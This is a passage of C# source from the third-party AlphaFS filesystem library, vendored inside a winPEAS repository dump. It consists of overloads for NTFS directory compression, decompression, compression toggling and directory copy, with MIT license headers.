CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, pathFormat); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.Decompress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to decompress. [SecurityCritical] public static void Decompress(string path) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to decompress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Decompress(string path, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, pathFormat); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static void Decompress(string path, DirectoryEnumerationOptions options) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Decompress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, pathFormat); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to decompress. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void Decompress(string path, DirectoryEnumerationFilters filters) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to decompress. /// Indicates the format of the path parameter(s). /// The specification of custom filters to be used in the process. [SecurityCritical] public static void Decompress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.DecompressTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, pathFormat); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, pathFormat); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. /// Indicates the format of the path parameter(s). /// The specification of custom filters to be used in the process. [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to decompress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.DisableCompression.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Disables NTFS compression of the specified directory and the files in it. /// This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed. /// /// /// /// /// /// /// A path to a directory to decompress. [SecurityCritical] public static void DisableCompression(string path) { Device.ToggleCompressionCore(null, true, path, false, PathFormat.RelativePath); } /// [AlphaFS] Disables NTFS compression of the specified directory and the files in it. /// This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed. /// /// /// /// /// /// /// A path to a directory to decompress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DisableCompression(string path, PathFormat pathFormat) { Device.ToggleCompressionCore(null, true, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.DisableCompressionTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Disables NTFS compression of the specified directory and the files in it. /// This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed. /// /// /// /// /// /// /// The transaction. /// A path to a directory to decompress. [SecurityCritical] public static void DisableCompressionTransacted(KernelTransaction transaction, string path) { Device.ToggleCompressionCore(transaction, true, path, false, PathFormat.RelativePath); } /// [AlphaFS] Disables NTFS compression of the specified directory and the files in it. /// This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed. /// /// /// /// /// /// /// The transaction. /// Indicates the format of the path parameter(s). /// A path to a directory to decompress. [SecurityCritical] public static void DisableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { Device.ToggleCompressionCore(transaction, true, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.EnableCompression.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Enables NTFS compression of the specified directory and the files in it. /// This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed. /// /// /// /// /// /// /// A path to a directory to compress. [SecurityCritical] public static void EnableCompression(string path) { Device.ToggleCompressionCore(null, true, path, true, PathFormat.RelativePath); } /// [AlphaFS] Enables NTFS compression of the specified directory and the files in it. /// This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed. /// /// /// /// /// /// /// A path to a directory to compress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void EnableCompression(string path, PathFormat pathFormat) { Device.ToggleCompressionCore(null, true, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.EnableCompressionTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Enables NTFS compression of the specified directory and the files in it. /// This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed. /// /// /// /// /// /// /// The transaction. /// A path to a directory to compress. [SecurityCritical] public static void EnableCompressionTransacted(KernelTransaction transaction, string path) { Device.ToggleCompressionCore(transaction, true, path, true, PathFormat.RelativePath); } /// [AlphaFS] Enables NTFS compression of the specified directory and the files in it. /// This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed. /// /// /// /// /// /// /// The transaction. /// A path to a directory to compress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void EnableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { Device.ToggleCompressionCore(transaction, true, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.Copy.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { // .NET: Directory class does not contain the Copy() method, so mimic .NET File.Copy() methods. #region Obsolete /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, ProgressHandler = progressHandler, UserProgressData = userProgressData, }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = 